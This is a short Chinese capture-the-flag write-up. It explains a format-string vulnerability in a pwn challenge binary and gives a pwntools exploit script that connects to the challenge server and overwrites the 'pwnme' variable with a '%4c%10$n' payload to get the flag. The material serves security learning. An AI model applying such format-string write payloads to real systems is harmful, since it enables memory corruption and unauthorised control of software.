发现flag,需要将pwnme的值改为8才能拿到flag
通过查找发现pwnme在bss段,并且在程序之中用到了printf,可以考虑用格式化字符串漏洞将pwnme的值改掉。
由于没有PIE保护,IDA所展示的地址即是程序运行时所用的地址
之后再利用gdb查看堆栈地址
在第二个printf(0x080680CD)处设置断点,然后运行程序
一个寄存器相当于4个字节32位,栈空间的存储也是按照32位存储。可以看到输入的字符开始的栈空间的偏移量为10(第一个栈空间偏移量为0),并且没有占用前面的部分栈空间。
exp:
from pwn import *
p = remote('111.198.29.45',41816)
p.recvuntil('please tell me your name:')
p.sendline('qin')
p.recvuntil('leave your message please:')
p.sendline(p32(0x0804A068) + '%4c%10$n')//将pwnme中的内容改为8
//p32(0x0804A068)会输出四个字符,%4c也会输出四个字符
//%10$n 将%n之前打印的字符数量放入指定地址内部
//之前打印了8个字符,指定地址为偏移量为10的栈空间所指向的地址空间
//所以pwnme所在的空间内容就被更改为之前所输出的字符数量8
p.interactive()